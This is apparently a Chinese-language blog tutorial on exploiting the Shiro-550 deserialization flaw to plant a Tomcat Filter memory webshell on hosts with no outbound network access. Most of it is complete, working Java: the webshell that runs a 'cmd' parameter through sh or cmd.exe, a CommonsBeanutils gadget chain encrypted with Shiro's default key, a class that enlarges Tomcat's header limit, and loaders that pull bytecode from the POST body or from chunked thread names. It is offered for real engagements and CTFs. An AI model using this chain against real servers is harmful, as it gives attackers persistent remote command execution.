介绍
当我们实战遇到 Shiro-550
漏洞可以打反序列化的时候,如果目标靶机无法出网,我们怎么想办法回显命令执行的结果?
这里最直接的思路是打内存马回显,但是由于 Shiro-550
反序列化的数据在 Header
的 cookie
中,如果直接打内存马会导致 Payload
的长度过长,从而可能超过中间件对 Header
的长度限制 server.max-http-header-size
( Tomcat
默认是 8kb
)。
环境: jdk-8u333
, SpringBoot-2.7.18
, Shiro-1.2.4
。
我们直接打入下面的 Filter
内存马发现长度是 9004
刚好超了一点。
打入时会报错:
内存马代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.catalina.webresources.StandardRoot; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.Map; import java.util.Scanner;
public class FilterMemShellExp implements Filter { public FilterMemShellExp() throws NoSuchFieldException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException { WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
Field resources = null; try { resources = contextClassLoader.getClass().getSuperclass().getDeclaredField("resources"); System.out.println("非SpringBoot环境"); } catch (NoSuchFieldException e) { try { resources = contextClassLoader.getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); System.out.println("SpringBoot环境"); } catch (NoSuchFieldException e2){ e2.printStackTrace(); } } resources.setAccessible(true); StandardRoot standardRoot = null; try { standardRoot = (StandardRoot) resources.get(contextClassLoader); } catch (IllegalAccessException e) { throw new RuntimeException(e); }
StandardContext standardContext = (StandardContext) standardRoot.getContext();
Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
String name = "justdoit";
Filter filter = new FilterMemShellExp("xxx");
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig); }
public FilterMemShellExp(String aaa){}
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd == null) { return; } boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = res.getWriter(); out.println(output); out.flush(); out.close(); filterChain.doFilter(req, res); }
@Override public void destroy() {
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; import java.util.Queue; import static java.util.Base64.getDecoder;
public class cb_shiro_exp { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get("FilterMemShellExp"); ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ctClass.toBytecode()}); setFieldValue(obj, "_name", "TemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final Queue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj}); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(queue); oos.close();
byte[] payload = baos.toByteArray();
AesCipherService aes = new AesCipherService(); byte[] key = getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource finalPayload = aes.encrypt(payload, key); String poc = finalPayload.toString(); System.out.println(poc); System.out.println(poc.length()); } }
|
接下来就是要介绍怎么战胜这里的困境来回显命令执行的结果。
分析
我们既然可以打入内存马,那改一下 Tomcat
的参数肯定也是可以实现的,找一下 maxHttpHeaderSize
这个参数存在那里然后修改大一点就可以了。
我们可以发现修改 httpMaxHeaderSize
的 Payload
的长度大概在 6000
多,是可以过 Tomcat
的默认值的监测的。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import org.apache.catalina.webresources.StandardRoot;
import java.lang.reflect.Field;
public class Evil1 { static { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize"); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null); contextField.setAccessible(true); headerSizeField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = webappClassLoaderBase.getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); resourcesField.setAccessible(true); StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(standardRoot.getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0; j < classes.length; j++) { if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); globalField.setAccessible(true); processorsField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null)); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); headerSizeField.set(tempRequest.getInputBuffer(), 10000); } } } ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000); } } } System.out.println("修改成功"); } catch (Exception e) { System.out.println("修改失败"); } } }
|
将class bytes使用gzip+base64压缩编码
介绍
原理正如标题已经很清楚了。实测压缩后内存马的长度会从 7000
多降低到 3000
多,但是注入的命令执行的类的长度还是在 8000
多会超过 Tomcat
的默认 maxHttpHeaderSize
的限制。所以这个方法不是很建议使用。
POC
第一步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.shiro.codec.Base64;
import java.io.ByteArrayOutputStream; import java.util.zip.GZIPOutputStream;
public class Demo { public static void main(String[] args) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get("FilterMemShellExp"); ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] bytecode = ctClass.toBytecode();
ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gzipOutputStream = new GZIPOutputStream(baos); gzipOutputStream.write(bytecode); gzipOutputStream.close();
System.out.println(Base64.encodeToString(baos.toByteArray()); } }
|
第二步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import sun.misc.BASE64Decoder;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Method; import java.util.zip.GZIPInputStream;
public class Evil6 { static { BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder(); String codeClass = "Gzip+Base64压缩后的类"; ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader(); try { Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ByteArrayInputStream bais = new ByteArrayInputStream(b64Decoder.decodeBuffer(codeClass)); GZIPInputStream gzip = new GZIPInputStream(bais); byte[] buffer = new byte[256]; int n; while ((n = gzip.read(buffer)) >= 0) { baos.write(buffer, 0, n); } byte[] byteArray = baos.toByteArray(); ((Class) defineClass.invoke(currentClassloader, byteArray, 0, byteArray.length)).newInstance(); } catch (Exception e) { e.printStackTrace(); } } }
|
将内存马写入POST请求体
分析
Header
的长度受限但是 Body
是不受限的,所以我们可以把内存马的字节码放到请求体中,然后在命令执行的时候从请求体中拿到字节码,然后动态类加载。
POC
第一步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.shiro.codec.Base64;
public class Demo { public static void main(String[] args) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get("FilterMemShellExp"); ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] bytecode = ctClass.toBytecode(); System.out.println(Base64.encodeToString(bytecode)); } }
|
第二步:
请求时 url
必须加上 demo
才会加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import org.apache.catalina.webresources.StandardRoot;
import java.lang.reflect.Field;
public class Evil5 {
static { try { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); contextField.setAccessible(true);
Field resourcesField = webappClassLoaderBase.getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); resourcesField.setAccessible(true); StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(standardRoot.getContext());
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); serviceField.setAccessible(true); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) { if (connectors[i].getScheme().contains("http")) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null); getHandlerMethod.setAccessible(true); org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);
java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); globalField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); processorsField.setAccessible(true); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) { org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k); if (requestInfo.getCurrentUri().contains("demo")){ System.out.println("success"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); requestField.setAccessible(true); org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
String classData = request.getParameter("classData"); System.out.println(classData); byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); ((Class) defineClassMethod.invoke(Evil5.class.getClassLoader(), classBytes, 0, classBytes.length)).newInstance(); break; }
} } }
} catch (Exception e) { e.printStackTrace(); } } }
|
将内存马分段写入线程名
分析
这个方法和上面的类似,我们可以先通过命令执行将 Tomcat
的某一个线程名写一个特殊值,然后接下来将内存马的 payload
拆分为几块分批添加到这个线程名的后面,最终 Tomcat
的某个线程名就会为某个特殊值拼接内存马的 payload
(线程名的长度是没有限制的)。
这样子理论上只要我们将内存马的 payload
拆分的越细,那么单个 payload
的长度就会越短。虽然有点麻烦,但是适合于 maxHttpHeaderSize
要求在很小的情况下。
然后最后根据特殊值找到这个存储了内存马 payload
的线程,然后根据这个线程的线程名来动态类加载。
实测把内存马的 payload
分为四份那么每次 payload
的长度就差不多可以控制在 6000
以下。
POC
第一步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.shiro.codec.Base64;
public class Demo { public static void main(String[] args) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get("FilterMemShellExp"); ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] bytecode = ctClass.toBytecode(); System.out.println(Base64.encodeToString(bytecode)); } }
|
第二步:
1 2 3 4 5
| public class Evil2 { static { Thread.currentThread().setName("justdoit"); } }
|
第三步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import java.lang.reflect.Field;
public class Evil3 { static { ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); try { Field threadsField = threadGroup.getClass().getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[]) threadsField.get(threadGroup); for (Thread thread : threads) { if (thread.getName().contains("justdoit")) { thread.setName(thread.getName() + "<分片的内存马payload>"); break; } } } catch (Exception e) {} } }
|
第四步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import org.apache.shiro.codec.Base64;
import java.lang.reflect.Field; import java.lang.reflect.Method;
public class Evil4 { static { ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); try { Field threadsField = threadGroup.getClass().getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[]) threadsField.get(threadGroup); for (Thread thread : threads) { if (thread.getName().contains("justdoit")) { String payload = thread.getName().replaceAll("justdoit", ""); System.out.println("payload = " + payload); byte[] decode = Base64.decode(payload); Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); ((Class)defineClassMethod.invoke(threadGroup.getClass().getClassLoader(), decode, 0, decode.length)).newInstance(); System.out.println("注入成功"); break; } } } catch (Exception e) {} } }
|
总结
在实战中针对默认情况,第三种方法是最方便和最稳定的,如果是在 CTF
比赛中,特意改小了 maxHttpHeaderSize
的值,需要控制 Payload
的长度很短,此时就得用比较麻烦的第四种方法了。
此外,我们可以发现最原生注入内存马的打法其实 payload
的长度也没有超过很多,大概超了 1000
多,所以我们或许可以使用 终极字节码技术来缩短 payload
的长度也是可以的,这里以后再单独研究。
参考文章
https://xz.aliyun.com/t/12537
https://xz.aliyun.com/t/14107
https://xz.aliyun.com/t/10696
https://blog.csdn.net/weixin_68320784/article/details/124181206
https://zhuanlan.zhihu.com/p/395443877
https://myzxcg.com/2021/11/Shiro-%E5%9B%9E%E6%98%BE%E4%B8%8E%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC
https://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247489588&idx=1&sn=0aa89b8828dc3e058ddbef69e2980790&chksm=c2d4d32cf5a35a3a54d164198cf7a29bea915a8c0e00d76d47231090cec35630f393ecd5d89d&scene=21#wechat_redirect